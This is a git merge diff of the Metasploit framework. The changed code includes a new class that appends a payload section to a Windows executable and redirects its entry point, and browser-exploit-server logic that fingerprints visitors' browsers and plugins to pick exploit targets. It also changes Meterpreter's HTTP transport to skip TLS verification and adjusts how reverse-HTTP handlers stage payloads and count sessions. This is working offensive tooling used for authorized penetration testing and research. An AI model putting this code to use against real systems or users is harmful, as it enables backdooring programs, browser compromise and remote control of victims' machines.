Merging upstream/master
commit
17dc2b184d
|
@ -67,17 +67,7 @@ external/source/exploits/**/Release
|
|||
|
||||
# Avoid checking in Meterpreter binaries. These are supplied upstream by
|
||||
# the meterpreter_bins gem.
|
||||
data/meterpreter/elevator.*.dll
|
||||
data/meterpreter/ext_server_espia.*.dll
|
||||
data/meterpreter/ext_server_extapi.*.dll
|
||||
data/meterpreter/ext_server_incognito.*.dll
|
||||
data/meterpreter/ext_server_kiwi.*.dll
|
||||
data/meterpreter/ext_server_lanattacks.*.dll
|
||||
data/meterpreter/ext_server_mimikatz.*.dll
|
||||
data/meterpreter/ext_server_priv.*.dll
|
||||
data/meterpreter/ext_server_stdapi.*.dll
|
||||
data/meterpreter/metsrv.*.dll
|
||||
data/meterpreter/screenshot.*.dll
|
||||
data/meterpreter/*.dll
|
||||
|
||||
# Avoid checking in Meterpreter libs that are built from
|
||||
# private source. If you're interested in this functionality,
|
||||
|
|
|
@ -9,7 +9,7 @@ PATH
|
|||
json
|
||||
metasploit-concern (~> 0.3.0)
|
||||
metasploit-model (~> 0.29.0)
|
||||
meterpreter_bins (= 0.0.16)
|
||||
meterpreter_bins (= 0.0.17)
|
||||
msgpack
|
||||
nokogiri
|
||||
packetfu (= 1.1.9)
|
||||
|
@ -132,7 +132,7 @@ GEM
|
|||
pg
|
||||
railties (< 4.0.0)
|
||||
recog (~> 1.0)
|
||||
meterpreter_bins (0.0.16)
|
||||
meterpreter_bins (0.0.17)
|
||||
method_source (0.8.2)
|
||||
mime-types (1.25.1)
|
||||
mini_portile (0.6.1)
|
||||
|
|
|
@ -264,7 +264,7 @@ def tlv_pack(*args):
|
|||
data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8')
|
||||
else:
|
||||
value = tlv['value']
|
||||
if sys.version_info[0] < 3 and isinstance(value, __builtins__['unicode']):
|
||||
if sys.version_info[0] < 3 and value.__class__.__name__ == 'unicode':
|
||||
value = value.encode('UTF-8')
|
||||
elif not is_bytes(value):
|
||||
value = bytes(value, 'UTF-8')
|
||||
|
@ -393,11 +393,17 @@ class PythonMeterpreter(object):
|
|||
print(msg)
|
||||
|
||||
def driver_init_http(self):
|
||||
opener_args = []
|
||||
scheme = HTTP_CONNECTION_URL.split(':', 1)[0]
|
||||
if scheme == 'https' and ((sys.version_info[0] == 2 and sys.version_info >= (2,7,9)) or sys.version_info >= (3,4,3)):
|
||||
import ssl
|
||||
ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
|
||||
ssl_ctx.check_hostname=False
|
||||
ssl_ctx.verify_mode=ssl.CERT_NONE
|
||||
opener_args.append(urllib.HTTPSHandler(0, ssl_ctx))
|
||||
if HTTP_PROXY:
|
||||
proxy_handler = urllib.ProxyHandler({'http': HTTP_PROXY})
|
||||
opener = urllib.build_opener(proxy_handler)
|
||||
else:
|
||||
opener = urllib.build_opener()
|
||||
opener_args.append(urllib.ProxyHandler({scheme: HTTP_PROXY}))
|
||||
opener = urllib.build_opener(*opener_args)
|
||||
if HTTP_USER_AGENT:
|
||||
opener.addheaders = [('User-Agent', HTTP_USER_AGENT)]
|
||||
urllib.install_opener(opener)
|
||||
|
|
|
@ -187,13 +187,66 @@ module Metasploit
|
|||
error_message
|
||||
end
|
||||
|
||||
# Sends a HTTP request with Rex
|
||||
#
|
||||
# @param [Hash] Native support includes the following (also see Rex::Proto::Http::Request#request_cgi)
|
||||
# @option opts[String] 'host' The remote host
|
||||
# @option opts[Fixnum] 'port' The remote port
|
||||
# @option opts[Boolean] 'ssl' The SSL setting, TrueClass or FalseClass
|
||||
# @option opts[String] 'proxies' The proxies setting
|
||||
# @option opts[Credential] 'credential' A credential object
|
||||
# @option opts['Hash'] 'context' A context
|
||||
# @raise [Rex::ConnectionError] One of these errors has occured: EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
|
||||
# @return [Rex::Proto::Http::Response] The HTTP response
|
||||
# @return [NilClass] An error has occured while reading the response (see #Rex::Proto::Http::Client#read_response)
|
||||
def send_request(opts)
|
||||
rhost = opts['host'] || host
|
||||
rport = opts['rport'] || port
|
||||
cli_ssl = opts['ssl'] || ssl
|
||||
cli_ssl_version = opts['ssl_version'] || ssl_version
|
||||
cli_proxies = opts['proxies'] || proxies
|
||||
username = opts['credential'] ? opts['credential'].public : ''
|
||||
password = opts['credential'] ? opts['credential'].private : ''
|
||||
realm = opts['credential'] ? opts['credential'].realm : nil
|
||||
context = opts['context'] || { 'Msf' => framework, 'MsfExploit' => framework_module}
|
||||
|
||||
res = nil
|
||||
cli = Rex::Proto::Http::Client.new(
|
||||
rhost,
|
||||
rport,
|
||||
context,
|
||||
cli_ssl,
|
||||
cli_ssl_version,
|
||||
cli_proxies,
|
||||
username,
|
||||
password
|
||||
)
|
||||
configure_http_client(cli)
|
||||
|
||||
if realm
|
||||
cli.set_config('domain' => credential.realm)
|
||||
end
|
||||
|
||||
begin
|
||||
cli.connect
|
||||
req = cli.request_cgi(opts)
|
||||
res = cli.send_recv(req)
|
||||
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error => e
|
||||
raise Rex::ConnectionError, e.message
|
||||
ensure
|
||||
cli.close
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
|
||||
# Attempt a single login with a single credential against the target.
|
||||
#
|
||||
# @param credential [Credential] The credential object to attempt to
|
||||
# login with.
|
||||
# @return [Result] A Result object indicating success or failure
|
||||
def attempt_login(credential)
|
||||
|
||||
result_opts = {
|
||||
credential: credential,
|
||||
status: Metasploit::Model::Login::Status::INCORRECT,
|
||||
|
@ -209,32 +262,13 @@ module Metasploit
|
|||
result_opts[:service_name] = 'http'
|
||||
end
|
||||
|
||||
http_client = Rex::Proto::Http::Client.new(
|
||||
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version,
|
||||
proxies, credential.public, credential.private
|
||||
)
|
||||
|
||||
configure_http_client(http_client)
|
||||
|
||||
if credential.realm
|
||||
http_client.set_config('domain' => credential.realm)
|
||||
end
|
||||
|
||||
begin
|
||||
http_client.connect
|
||||
request = http_client.request_cgi(
|
||||
'uri' => uri,
|
||||
'method' => method
|
||||
)
|
||||
|
||||
response = http_client.send_recv(request)
|
||||
response = send_request('credential'=>credential, 'uri'=>uri, 'method'=>method)
|
||||
if response && response.code == 200
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: response.headers)
|
||||
end
|
||||
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error => e
|
||||
rescue Rex::ConnectionError => e
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
|
||||
ensure
|
||||
http_client.close
|
||||
end
|
||||
|
||||
Result.new(result_opts)
|
||||
|
|
|
@ -27,41 +27,6 @@ module Metasploit
|
|||
end
|
||||
|
||||
|
||||
# Sends a HTTP request with Rex
|
||||
#
|
||||
# @param (see Rex::Proto::Http::Request#request_raw)
|
||||
# @raise [Rex::ConnectionError] Something has gone wrong while sending the HTTP request
|
||||
# @return [Rex::Proto::Http::Response] The HTTP response
|
||||
def send_request(opts)
|
||||
res = nil
|
||||
cli = Rex::Proto::Http::Client.new(host, port,
|
||||
{
|
||||
'Msf' => framework,
|
||||
'MsfExploit' => framework_module
|
||||
},
|
||||
ssl,
|
||||
ssl_version,
|
||||
proxies
|
||||
)
|
||||
configure_http_client(cli)
|
||||
begin
|
||||
cli.connect
|
||||
req = cli.request_cgi(opts)
|
||||
res = cli.send_recv(req)
|
||||
rescue ::Errno::EPIPE, ::Timeout::Error => e
|
||||
# We are trying to mimic the same type of exception rescuing in
|
||||
# Msf::Exploit::Remote::HttpClient. But instead of returning nil, we'll consistently
|
||||
# raise Rex::ConnectionError so the #attempt_login can return the error message back
|
||||
# to the login module.
|
||||
raise Rex::ConnectionError, e.message
|
||||
ensure
|
||||
cli.close
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
|
||||
# Returns the latest sid from Symantec Web Gateway.
|
||||
#
|
||||
# @returns [String] The PHP Session ID for Symantec Web Gateway login
|
||||
|
|
|
@ -44,7 +44,7 @@ module Metasploit
|
|||
untested_payloads_pathname = Pathname.new 'log/untested-payloads.log'
|
||||
|
||||
if untested_payloads_pathname.exist?
|
||||
tool_path = 'tools/missing-payload-tests.rb'
|
||||
tool_path = 'tools/missing_payload_tests.rb'
|
||||
|
||||
$stderr.puts "Untested payload detected. Running `#{tool_path}` to see contexts to add to " \
|
||||
"`spec/modules/payloads_spec.rb` to test those payload ancestor reference names."
|
||||
|
|
|
@ -0,0 +1,51 @@
|
|||
# -*- coding: binary -*-
|
||||
module Msf
|
||||
module Exe
|
||||
|
||||
require 'metasm'
|
||||
require 'msf/core/exe/segment_injector'
|
||||
|
||||
class SegmentAppender < SegmentInjector
|
||||
|
||||
def payload_stub(prefix)
|
||||
# TODO: Implement possibly helpful payload obfuscation
|
||||
asm = "new_entrypoint:\n#{prefix}\n"
|
||||
shellcode = Metasm::Shellcode.assemble(processor, asm)
|
||||
shellcode.encoded + @payload
|
||||
end
|
||||
|
||||
def generate_pe
|
||||
# Copy our Template into a new PE
|
||||
pe_orig = Metasm::PE.decode_file(template)
|
||||
pe = pe_orig.mini_copy
|
||||
|
||||
# Copy the headers and exports
|
||||
pe.mz.encoded = pe_orig.encoded[0, pe_orig.coff_offset-4]
|
||||
pe.mz.encoded.export = pe_orig.encoded[0, 512].export.dup
|
||||
pe.header.time = pe_orig.header.time
|
||||
|
||||
# Don't rebase if we can help it since Metasm doesn't do relocations well
|
||||
pe.optheader.dll_characts.delete("DYNAMIC_BASE")
|
||||
|
||||
# TODO: Look at supporting DLLs in the future
|
||||
prefix = ''
|
||||
|
||||
# Create a new section
|
||||
s = Metasm::PE::Section.new
|
||||
s.name = '.' + Rex::Text.rand_text_alpha_lower(4)
|
||||
s.encoded = payload_stub prefix
|
||||
s.characteristics = %w[MEM_READ MEM_WRITE MEM_EXECUTE]
|
||||
|
||||
pe.sections << s
|
||||
pe.invalidate_header
|
||||
|
||||
# Change the entrypoint to our new section
|
||||
pe.optheader.entrypoint = 'new_entrypoint'
|
||||
pe.cpu = pe_orig.cpu
|
||||
|
||||
pe.encode_string
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -59,20 +59,11 @@ module Exe
|
|||
EOS
|
||||
end
|
||||
|
||||
def payload_as_asm
|
||||
asm = ''
|
||||
@payload.each_byte do |byte|
|
||||
asm << "db " + sprintf("0x%02x", byte) + "\n"
|
||||
end
|
||||
return asm
|
||||
end
|
||||
|
||||
def payload_stub(prefix)
|
||||
asm = "hook_entrypoint:\n#{prefix}\n"
|
||||
asm << create_thread_stub
|
||||
asm << payload_as_asm
|
||||
shellcode = Metasm::Shellcode.assemble(processor, asm)
|
||||
shellcode.encoded
|
||||
shellcode.encoded + @payload
|
||||
end
|
||||
|
||||
def generate_pe
|
||||
|
|
|
@ -49,24 +49,30 @@ module Msf
|
|||
|
||||
# Requirements a browser module can define in either BrowserRequirements or in targets
|
||||
REQUIREMENT_KEY_SET = Set.new([
|
||||
:source, # Either 'script' or 'headers'
|
||||
:ua_name, # Example: MSIE
|
||||
:ua_ver, # Example: 8.0, 9.0
|
||||
:os_name, # Example: Windows 7, Linux
|
||||
:os_device, # Example: iPad, iPhone, etc
|
||||
:os_vendor, # Example: Microsoft, Ubuntu, Apple, etc
|
||||
:os_sp, # Example: SP2
|
||||
:language, # Example: en-us
|
||||
:arch, # Example: x86
|
||||
:proxy, # 'true' or 'false'
|
||||
:silverlight, # 'true' or 'false'
|
||||
:office, # Example: "2007", "2010"
|
||||
:java, # Example: 1.6, 1.6.0.0
|
||||
:clsid, # ActiveX clsid. Also requires the :method key
|
||||
:method, # ActiveX method. Also requires the :clsid key
|
||||
:mshtml_build, # mshtml build. Example: "65535"
|
||||
:flash, # Example: "12.0" (chrome/ff) or "12.0.0.77" (IE)
|
||||
:vuln_test # Example: "if(window.MyComponentIsInstalled)return true;"
|
||||
:source, # Return either 'script' or 'headers'
|
||||
:ua_name, # Example: Returns 'MSIE'
|
||||
:ua_ver, # Example: Returns '8.0', '9.0'
|
||||
:os_name, # Example: Returns 'Windows 7', 'Linux'
|
||||
:os_device, # Example: Returns 'iPad', 'iPhone', etc
|
||||
:os_vendor, # Example: Returns 'Microsoft', 'Ubuntu', 'Apple', etc
|
||||
:os_sp, # Example: Returns 'SP2'
|
||||
:language, # Example: Returns 'en-us'
|
||||
:arch, # Example: Returns 'x86'
|
||||
:proxy, # Returns 'true' or 'false'
|
||||
:silverlight, # Returns 'true' or 'false'
|
||||
:office, # Example: Returns "2007", "2010"
|
||||
:java, # Example: Return '1.6', or maybe '1.6.0.0' (depends)
|
||||
:mshtml_build, # mshtml build. Example: Returns "65535"
|
||||
:flash, # Example: Returns "12.0" (chrome/ff) or "12.0.0.77" (IE)
|
||||
:vuln_test, # Example: "if(window.MyComponentIsInstalled)return true;",
|
||||
# :activex is a special case.
|
||||
# When you set this requirement in your module, this is how it should be:
|
||||
# [{:clsid=>'String', :method=>'String'}]
|
||||
# Where each Hash is a test case
|
||||
# But when BES receives this information, the JavaScript will return this format:
|
||||
# "{CLSID}=>Method=>Boolean;"
|
||||
# Also see: #has_bad_activex?
|
||||
:activex
|
||||
])
|
||||
|
||||
def initialize(info={})
|
||||
|
@ -105,68 +111,61 @@ module Msf
|
|||
super
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
# Returns the custom 404 URL set by the user
|
||||
#
|
||||
# @return [String]
|
||||
#
|
||||
def get_custom_404_url
|
||||
datastore['Custom404'].to_s
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
# Allows a block of code to access BES resources in a thread-safe fashion
|
||||
#
|
||||
# @param block [Proc] Block of code to sync
|
||||
#
|
||||
def sync(&block)
|
||||
(@mutex ||= Mutex.new).synchronize(&block)
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
# Returns the resource (URI) to the module to allow access to on_request_exploit
|
||||
#
|
||||
# @return [String] URI to the exploit page
|
||||
#
|
||||
def get_module_resource
|
||||
"#{get_resource.to_s.chomp("/")}/#{@exploit_receiver_page}/"
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
# Returns the absolute URL to the module's resource that points to on_request_exploit
|
||||
#
|
||||
# @return [String] absolute URI to the exploit page
|
||||
#
|
||||
def get_module_uri
|
||||
"#{get_uri.chomp("/")}/#{@exploit_receiver_page}"
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
# Returns the current target
|
||||
#
|
||||
def get_target
|
||||
@target
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
# Returns a hash of recognizable requirements
|
||||
#
|
||||
# @param reqs [Hash] A hash that contains data for the requirements
|
||||
# @return [Hash] A hash of requirements
|
||||
#
|
||||
def extract_requirements(reqs)
|
||||
tmp = reqs.select {|k,v| REQUIREMENT_KEY_SET.include?(k.to_sym)}
|
||||
# Make sure keys are always symbols
|
||||
Hash[tmp.map{|(k,v)| [k.to_sym,v]}]
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
# Sets the target automatically based on what requirements are met.
|
||||
# If there's a possible matching target, it will also merge the requirements.
|
||||
# You can use the get_target() method to retrieve the most current target.
|
||||
#
|
||||
# @param profile [Hash] The profile to check
|
||||
#
|
||||
def try_set_target(profile)
|
||||
match_counts = []
|
||||
target_requirements = {}
|
||||
|
@ -195,30 +194,36 @@ module Msf
|
|||
end
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
# Returns true if there's a bad ActiveX, otherwise false.
|
||||
# @param ax [String] The raw activex the JavaScript detection will return in this format:
|
||||
# "{CLSID}=>Method=>Boolean;"
|
||||
# @return [Boolean] True if there's a bad ActiveX, otherwise false
|
||||
def has_bad_activex?(ax)
|
||||
ax.split(';').each do |a|
|
||||
bool = a.split('=>')[2]
|
||||
if bool == 'false'
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
# Returns an array of items that do not meet the requirements
|
||||
#
|
||||
# @param profile [Hash] The profile to check
|
||||
# @return [Array] An array of requirements not met
|
||||
#
|
||||
def get_bad_requirements(profile)
|
||||
bad_reqs = []
|
||||
|
||||
# At this point the check is already done.
|
||||
# If :activex is true, that means the clsid + method had a match,
|
||||
# if not, then false.
|
||||
if @requirements[:clsid] and @requirements[:method]
|
||||
@requirements[:activex] = 'true' # Script passes boolean as string
|
||||
end
|
||||
|
||||
@requirements.each do |k, v|
|
||||
# Special keys to ignore because the script registers this as [:activex] = true or false
|
||||
next if k == :clsid or k == :method
|
||||
|
||||
expected = k != :vuln_test ? v : 'true'
|
||||
vprint_debug("Comparing requirement: #{k}=#{expected} vs #{k}=#{profile[k.to_sym]}")
|
||||
|
||||
if k == :vuln_test
|
||||
if k == :activex
|
||||
bad_reqs << k if has_bad_activex?(profile[k.to_sym])
|
||||
elsif k == :vuln_test
|
||||
bad_reqs << k unless profile[k.to_sym].to_s == 'true'
|
||||
elsif v.is_a? Regexp
|
||||
bad_reqs << k if profile[k.to_sym] !~ v
|
||||
|
@ -232,7 +237,6 @@ module Msf
|
|||
bad_reqs
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the target profile based on the tag. Each profile has the following structure:
|
||||
# 'cookie_name' =>
|
||||
# {
|
||||
|
@ -253,7 +257,7 @@ module Msf
|
|||
#
|
||||
# If the source is 'script', the profile might have even more information about plugins:
|
||||
# 'office' : The version of Microsoft Office (IE only)
|
||||
# 'activex' : Whether a specific method is available from an ActiveX control (IE only)
|
||||
# 'activex' : Whether a specific set of clsid & method is available from an ActiveX control (IE only)
|
||||
# 'java' : The Java version
|
||||
# 'mshtml_build' : The MSHTML build version
|
||||
# 'flash' : The Flash version
|
||||
|
@ -261,45 +265,41 @@ module Msf
|
|||
#
|
||||
# @param tag [String] Either a cookie or IP + User-Agent
|
||||
# @return [Hash] The profile found. If not found, returns nil
|
||||
#
|
||||
def get_profile(tag)
|
||||
sync do
|
||||
return @target_profiles[tag]
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
# Updates information for a specific profile
|
||||
#
|
||||
# @param target_profile [Hash] The profile to update
|
||||
# @param key [Symbol] The symbol to use for the hash
|
||||
# @param value [String] The value to assign
|
||||
#
|
||||
def update_profile(target_profile, key, value)
|
||||
sync do
|
||||
target_profile[key] = value
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
# Initializes a profile, if it did not previously exist
|
||||
#
|
||||
# @param tag [String] A unique string as a way to ID the profile
|
||||
#
|
||||
def init_profile(tag)
|
||||
sync do
|
||||
@target_profiles[tag] ||= {}
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
# Retrieves a tag.
|
||||
# First it obtains the tag from the browser's "Cookie" header.
|
||||
# If the header is empty (possible if the browser has cookies disabled),
|
||||
# then it will return a tag based on IP + the user-agent.
|
||||
#
|
||||
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
||||
#
|
||||
def retrieve_tag(cli, request)
|
||||
cookie = CGI::Cookie.parse(request.headers['Cookie'].to_s)
|
||||
tag = cookie.has_key?(cookie_name) && cookie[cookie_name].first
|
||||
|
@ -317,13 +317,12 @@ module Msf
|
|||
tag
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
# Registers target information to @target_profiles
|
||||
#
|
||||
# @param source [Symbol] Either :script, or :headers
|
||||
# @param cli [Socket] Socket for the browser
|
||||
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
||||
#
|
||||
def process_browser_info(source, cli, request)
|
||||
tag = retrieve_tag(cli, request)
|
||||
init_profile(tag)
|
||||
|
@ -361,23 +360,21 @@ module Msf
|
|||
})
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
# Checks if the target is running a proxy
|
||||
#
|
||||
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
||||
# @return [Boolean] True if found, otherwise false
|
||||
#
|
||||
def has_proxy?(request)
|
||||
proxy_header_set = PROXY_REQUEST_HEADER_SET & request.headers.keys
|
||||
!proxy_header_set.empty?
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
# Returns the code for client-side detection
|
||||
#
|
||||
# @param user_agent [String] The user-agent of the browser
|
||||
# @return [String] Returns the HTML for detection
|
||||
#
|
||||
def get_detection_html(user_agent)
|
||||
ua_info = fingerprint_user_agent(user_agent)
|
||||
os = ua_info[:os_name]
|
||||
|
@ -418,11 +415,20 @@ module Msf
|
|||
d['office'] = ie_addons_detect.getMsOfficeVersion();
|
||||
d['mshtml_build'] = ScriptEngineBuildVersion().toString();
|
||||
<%
|
||||
clsid = @requirements[:clsid]
|
||||
method = @requirements[:method]
|
||||
if clsid and method
|
||||
activex = @requirements[:activex]
|
||||
if activex
|
||||
activex.each do \|a\|
|
||||
clsid = a[:clsid]
|
||||
method = a[:method]
|
||||
%>
|
||||
d['activex'] = ie_addons_detect.hasActiveX('<%=clsid%>', '<%=method%>');
|
||||
var ax = ie_addons_detect.hasActiveX('<%=clsid%>', '<%=method%>');
|
||||
d['activex'] = "";
|
||||
if (ax == true) {
|
||||
d['activex'] += "<%=clsid%>=><%=method%>=>true;";
|
||||
} else {
|
||||
d['activex'] += "<%=clsid%>=><%=method%>=>false;";
|
||||
}
|
||||
<% end %>
|
||||
<% end %>
|
||||
<% end %>
|
||||
|
||||
|
@ -438,7 +444,7 @@ module Msf
|
|||
|
||||
%Q|
|
||||
<script>
|
||||
#{js}
|
||||
#{code}
|
||||
</script>
|
||||
<noscript>
|
||||
<img style="visibility:hidden" src="#{get_resource.chomp("/")}/#{@noscript_receiver_page}/">
|
||||
|
@ -462,12 +468,11 @@ module Msf
|
|||
cookie
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
# Handles exploit stages.
|
||||
#
|
||||
# @param cli [Socket] Socket for the browser
|
||||
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
||||
#
|
||||
def on_request_uri(cli, request)
|
||||
case request.uri
|
||||
when '/', get_resource.chomp("/")
|
||||
|
@ -548,18 +553,17 @@ module Msf
|
|||
end
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
# Overriding method. The module should override this.
|
||||
#
|
||||
# @param cli [Socket] Socket for the browser
|
||||
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
||||
# @param browser_info [Hash] The target profile
|
||||
#
|
||||
def on_request_exploit(cli, request, browser_info)
|
||||
raise NoMethodError, "Module must define its own on_request_exploit method"
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
# Converts an ERB-based exploit template into HTML, and sends to client
|
||||
#
|
||||
# @param cli [Socket] Socket for the browser
|
||||
|
@ -567,7 +571,6 @@ module Msf
|
|||
# then this is handled as an Array, with the first element
|
||||
# being the HTML, and the second element is the binding object.
|
||||
# @param headers [Hash] The custom HTTP headers to include in the response
|
||||
#
|
||||
def send_exploit_html(cli, template, headers={})
|
||||
html = ''
|
||||
if template.class == Array
|
||||
|
@ -578,13 +581,12 @@ module Msf
|
|||
send_response(cli, html, headers)
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
# Generates a target-specific payload, should be called by the module
|
||||
#
|
||||
# @param cli [Socket] Socket for the browser
|
||||
# @param browser_info [Hash] The target profile
|
||||
# @return [String] The payload
|
||||
#
|
||||
def get_payload(cli, browser_info)
|
||||
arch = browser_info[:arch]
|
||||
platform = browser_info[:os_name]
|
||||
|
@ -618,9 +620,8 @@ module Msf
|
|||
|
||||
private
|
||||
|
||||
#
|
||||
|
||||
# Sends a 404 respons. If a custom 404 is configured, then it will redirect to that instead.
|
||||
#
|
||||
def send_not_found(cli)
|
||||
custom_404_url = get_custom_404_url
|
||||
if custom_404_url.blank?
|
||||
|
|
|
@ -45,7 +45,7 @@ module Msf
|
|||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('SMBDirect', [ true, 'The target port is a raw SMB service (not NetBIOS)', true ]),
|
||||
OptBool.new('SMBDirect', [ false, 'The target port is a raw SMB service (not NetBIOS)', true ]),
|
||||
OptString.new('SMBUser', [ false, 'The username to authenticate as', '']),
|
||||
OptString.new('SMBPass', [ false, 'The password for the specified username', '']),
|
||||
OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', '.']),
|
||||
|
|
|
@ -77,6 +77,9 @@ module Handler
|
|||
# Initialize the pending_connections counter to 0
|
||||
self.pending_connections = 0
|
||||
|
||||
# Initialize the sessions counter to 0
|
||||
self.sessions = 0
|
||||
|
||||
# Create the waiter event with auto_reset set to false so that
|
||||
# if a session is ever created, waiting on it returns immediately.
|
||||
self.session_waiter_event = Rex::Sync::Event.new(false, false)
|
||||
|
@ -234,10 +237,14 @@ protected
|
|||
# Decrement the pending connections counter now that we've processed
|
||||
# one session.
|
||||
self.pending_connections -= 1
|
||||
|
||||
# Count the number of sessions we have registered
|
||||
self.sessions += 1
|
||||
end
|
||||
|
||||
attr_accessor :session_waiter_event # :nodoc:
|
||||
attr_accessor :pending_connections # :nodoc:
|
||||
attr_accessor :sessions # :nodoc:
|
||||
|
||||
end
|
||||
|
||||
|
|
|
@ -3,6 +3,8 @@ require 'rex/io/stream_abstraction'
|
|||
require 'rex/sync/ref'
|
||||
require 'msf/core/handler/reverse_http/uri_checksum'
|
||||
require 'rex/payloads/meterpreter/patch'
|
||||
require 'rex/parser/x509_certificate'
|
||||
require 'msf/core/payload/windows/verify_ssl'
|
||||
|
||||
module Msf
|
||||
module Handler
|
||||
|
@ -16,6 +18,7 @@ module ReverseHttp
|
|||
|
||||
include Msf::Handler
|
||||
include Msf::Handler::ReverseHttp::UriChecksum
|
||||
include Msf::Payload::Windows::VerifySsl
|
||||
|
||||
#
|
||||
# Returns the string representation of the handler type
|
||||
|
@ -160,7 +163,7 @@ module ReverseHttp
|
|||
def stop_handler
|
||||
if self.service
|
||||
self.service.remove_resource("/")
|
||||
Rex::ServiceManager.stop_service(self.service) if self.pending_connections == 0
|
||||
Rex::ServiceManager.stop_service(self.service) if self.sessions == 0
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -217,6 +220,8 @@ protected
|
|||
|
||||
uri_match = process_uri_resource(req.relative_resource)
|
||||
|
||||
self.pending_connections += 1
|
||||
|
||||
# Process the requested resource.
|
||||
case uri_match
|
||||
when /^\/INITPY/
|
||||
|
@ -252,7 +257,6 @@ protected
|
|||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:ssl => ssl?,
|
||||
})
|
||||
self.pending_connections += 1
|
||||
|
||||
when /^\/INITJM/
|
||||
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
|
||||
|
@ -291,12 +295,15 @@ protected
|
|||
|
||||
blob = obj.stage_payload
|
||||
|
||||
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
|
||||
datastore['HandlerSSLCert'])
|
||||
#
|
||||
# Patch options into the payload
|
||||
#
|
||||
Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob,
|
||||
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(blob,
|
||||
:ssl => ssl?,
|
||||
:url => url,
|
||||
:ssl_cert_hash => verify_cert_hash,
|
||||
:expiration => datastore['SessionExpirationTimeout'],
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'],
|
||||
:ua => datastore['MeterpreterUserAgent'],
|
||||
|
@ -304,7 +311,7 @@ protected
|
|||
:proxy_port => datastore['PayloadProxyPort'],
|
||||
:proxy_type => datastore['PayloadProxyType'],
|
||||
:proxy_user => datastore['PayloadProxyUser'],
|
||||
:proxy_pass => datastore['PayloadProxyPass']
|
||||
:proxy_pass => datastore['PayloadProxyPass'])
|
||||
|
||||
resp.body = encode_stage(blob)
|
||||
|
||||
|
@ -340,6 +347,7 @@ protected
|
|||
resp.code = 200
|
||||
resp.message = "OK"
|
||||
resp.body = datastore['HttpUnknownRequestResponse'].to_s
|
||||
self.pending_connections -= 1
|
||||
end
|
||||
|
||||
cli.send_response(resp) if (resp)
|
||||
|
|
|
@ -43,7 +43,8 @@ module ReverseHttps
|
|||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format"])
|
||||
OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format"]),
|
||||
OptBool.new('StagerVerifySSLCert', [false, "Whether to verify the SSL certificate in Meterpreter"])
|
||||
], Msf::Handler::ReverseHttps)
|
||||
|
||||
end
|
||||
|
|
|
@ -108,8 +108,7 @@ module Payload::Windows::ReverseWinHttp
|
|||
# @option opts [String] :url The URI to request during staging
|
||||
# @option opts [String] :host The host to connect to
|
||||
# @option opts [Fixnum] :port The port to connect to
|
||||
# @option opts [Bool] :verify_ssl Whether or not to do SSL certificate validation
|
||||
# @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify
|
||||
# @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify, or nil
|
||||
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
|
||||
# @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up
|
||||
#
|
||||
|
@ -121,7 +120,7 @@ module Payload::Windows::ReverseWinHttp
|
|||
encoded_url = asm_generate_wchar_array(opts[:url])
|
||||
encoded_host = asm_generate_wchar_array(opts[:host])
|
||||
|
||||
if opts[:ssl] && opts[:verify_cert] && opts[:verify_cert_hash]
|
||||
if opts[:ssl] && opts[:verify_cert_hash]
|
||||
verify_ssl = true
|
||||
